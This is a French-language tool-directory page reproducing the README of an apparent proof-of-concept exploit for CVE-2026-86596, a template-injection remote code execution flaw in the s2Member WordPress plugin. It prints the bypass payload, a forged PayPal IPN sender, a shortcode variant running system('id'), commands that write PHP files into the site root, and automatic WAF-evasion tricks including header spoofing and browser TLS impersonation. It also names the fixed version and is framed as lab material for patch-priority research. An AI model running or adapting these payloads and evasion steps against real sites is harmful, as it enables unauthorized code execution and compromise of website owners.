Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-86596-poc — CVE-2026-86596 s2Member <= 260927 PoC d'injection de modèle (labo ; vérification IPN requise) | Kitploit
Outils/GitHubGitHub/thiscitze/cve-2026-86596-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFSécurité WebOutil d'Accès à DistanceLabs et Pratique
GitHubthiscitze/cve-2026-86596-poc

cve-2026-86596-poc

CVE-2026-86596 s2Member <= 260927 PoC d'injection de modèle (labo ; vérification IPN requise)

Voir le dépôt
119il y a 4 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC CVE-2026-86596

PoC Python monofichier pour la RCE par injection de template dans s2Member <= 260927.

Ce qu'il démontre

Le code vulnérable :

$paypal = strip_php_tags_deep($paypal);          // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));

Charge utile :

<%%x%%?php echo 'CVE-2026-86596'; ?>

strip_php_tags_deep() le laisse intact car il n'y a pas de <? littéral. Le remplacement de %%item_name%% l'insère ; le nettoyage final %%(.+?)%% supprime %%x%%, laissant un ouvreur <?php valide.

Modes

Une seule commande

python3 poc.py https://wordpress.lab

Voici le flux complet :

  1. vérification de version,
  2. preuve d'injection hors ligne,
  3. POST IPN forgé,
  4. écrit cve_test.php avec @thiscitze dans la racine de WordPress,
  5. récupère https://wordpress.lab/cve_test.php et vérifie le marqueur.

Si l'ID de l'article/page protégé n'est pas 1 :

python3 poc.py https://wordpress.lab --item-number 123

Si .php est bloqué, écrivez un marqueur en texte brut :

python3 poc.py https://wordpress.lab --filename cve_test.txt

Si le site utilise une clé de vérification par proxy :

python3 poc.py https://wordpress.lab --proxy-verification "KEY"

Rapport concis :

CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item   : 123
run id : 1a0d80
time   : 2026-11-03 12:34:56 UTC

[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
      1/5 abspath/cve_test.php           HTTP 200
      [+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped

RESULT
  CVE applicable : YES - vulnerable version
  Injection      : OK
  IPN response   : HTTP 200 | HTTP 200; processing not proven
  Test file      : FOUND - https://wordpress.lab/cve_test.php
  Marker         : not checked
  RCE            : CONFIRMED - code execution works
  Run ID         : 1a0d80
  Next           : test file: https://wordpress.lab/cve_test.php

Le rapport répond à trois questions distinctes :

  • CVE applicable - la version installée se situe-t-elle dans la plage vulnérable ?
  • Réponse IPN - la requête a-t-elle atteint s2Member, ou a-t-elle été bloquée ?
  • RCE - un fichier a-t-il réellement été écrit / le marqueur est-il apparu ?

RCE: NOT CONFIRMED signifie que le script n'a pas prouvé l'exécution de code, même si le statut HTTP était 200.

La couleur est activée lorsque stdout est un TTY ; forcez-la avec --color always ou désactivez-la avec --color never.

Si la cible est protégée par un WAF/challenge, le script essaie automatiquement des variantes de forme de requête avant d'abandonner :

  • multipart/form-data
  • item_name dupliqué (bénin + payload)
  • multipart/form-data avec item_name dupliqué
  • en-têtes d'usurpation X-Forwarded-For / X-Real-IP / CF-Connecting-IP
  • usurpation TLS de navigateur via curl_cffi (pip install curl_cffi)
  • un proxy HTTP, si --http-proxy est fourni

Contrôles optionnels :

python3 poc.py https://wordpress.lab \
    --http-proxy http://127.0.0.1:8080 \
    --cookie "cf_clearance=..." \
    --impersonate chrome

--no-evasion désactive les variantes automatiques. Un challenge JS peut encore nécessiter une véritable session de navigateur ou un IPN d'origine PayPal ; les astuces d'en-têtes ne constituent pas un contournement garanti.

Tester l'écriture de fichier

Écrire un fichier de test dans la racine de WordPress et le vérifier :

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --test-url https://wordpress.lab/cve_test.php

Le payload écrit cve_test.php contenant :

<?php echo "@thiscitze"; ?>

Si .php est bloqué ou non nécessaire, écrivez plutôt un marqueur en texte brut :

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --filename cve_test.txt \
    --marker "@thiscitze" \
    --test-url https://wordpress.lab/cve_test.txt

Le fichier est écrit dans ABSPATH (la racine du système de fichiers WordPress). Si WordPress est installé dans un sous-répertoire, ajustez --test-url en conséquence.

Preuve hors ligne

python3 poc.py --simulate

Attendu :

[*] after strip_php_tags_deep():
    "<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
    "Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled

Variante shortcode :

python3 poc.py --simulate --shortcode --command "system('id');"

Cela produit [s2If php="system('id');"], qui s'exécute si le template atteint un sink do_shortcode() / [s2If php].

Vérification de version

python3 poc.py --check https://wordpress.lab

Il lit readme.txt ou s2member.php et compare la version avec 260927 / 261001.

Expéditeur IPN de laboratoire

python3 poc.py --ipn https://wordpress.lab \
    --item-number 123 \
    --payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"

s2Member vérifie les IPN auprès de PayPal (POST back) ou via une clé de vérification proxy. Un POST forgé directement est normalement rejeté. Pour un laboratoire :

  • utilisez un véritable IPN du sandbox PayPal dont item_name constitue la charge utile, ou
  • fournissez la valeur de vérification proxy du site :
python3 poc.py --ipn https://wordpress.lab --item-number 123 \
    --proxy-verification "<value from the site's button code>" \
    --command "id"

Le script affiche la réponse HTTP et avertit si la cible a rejeté la vérification.

Page de déclenchement

python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."

Récupère une page et recherche CVE-2026-86596, que la charge utile renvoie. Cela est utile lorsque le récepteur de code de suivi / shortcode s'affiche après l'IPN.

Conditions requises pour une RCE en conditions réelles

  1. s2Member <= 260927.
  2. Un IPN PayPal valide (sandbox ou réel) ou la clé de vérification du proxy du site.
  3. custom doit commencer par le nom d'hôte du site (ou skip_ipn_domain_validation doit être activé).
  4. Un item_number valide pour le chemin Specific Post/Page.
  5. Un récepteur qui évalue le modèle rendu : codes de suivi rendus avec do_shortcode() / [s2If php=...], ou une intégration personnalisée qui évalue le modèle de notification. Le corps d'e-mail en texte brut par défaut est lui-même envoyé via wp_mail, et non évalué.

Correctif

Mettez à jour vers s2Member 261001 ou une version ultérieure (actuelle : 261017). Le correctif remplace l'interpolation séquentielle par fill_paypal_template_once() et assainit la destination de suivi en [A-Za-z0-9 @._-].

Remarques

  • Il s'agit d'un PoC de laboratoire ; il ne contourne pas la vérification de l'IPN PayPal.
  • La description de la CVE indique « authenticated, custom-level », tandis que le titre et le CVSS (PR:N) indiquent non authentifié. Traitez-la comme distante/non authentifiée pour la priorité de correctif, mais validez les exigences IPN/proxy dans votre configuration.
  • Aucun PoC public weaponisé n'existe au 2026-11-03 ; ce script démontre l'injection et fournit un véritable émetteur d'IPN pour des laboratoires autorisés.

Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • Changeset : https://plugins.trac.wordpress.org/changeset/3722434/s2member
Télécharger l’outil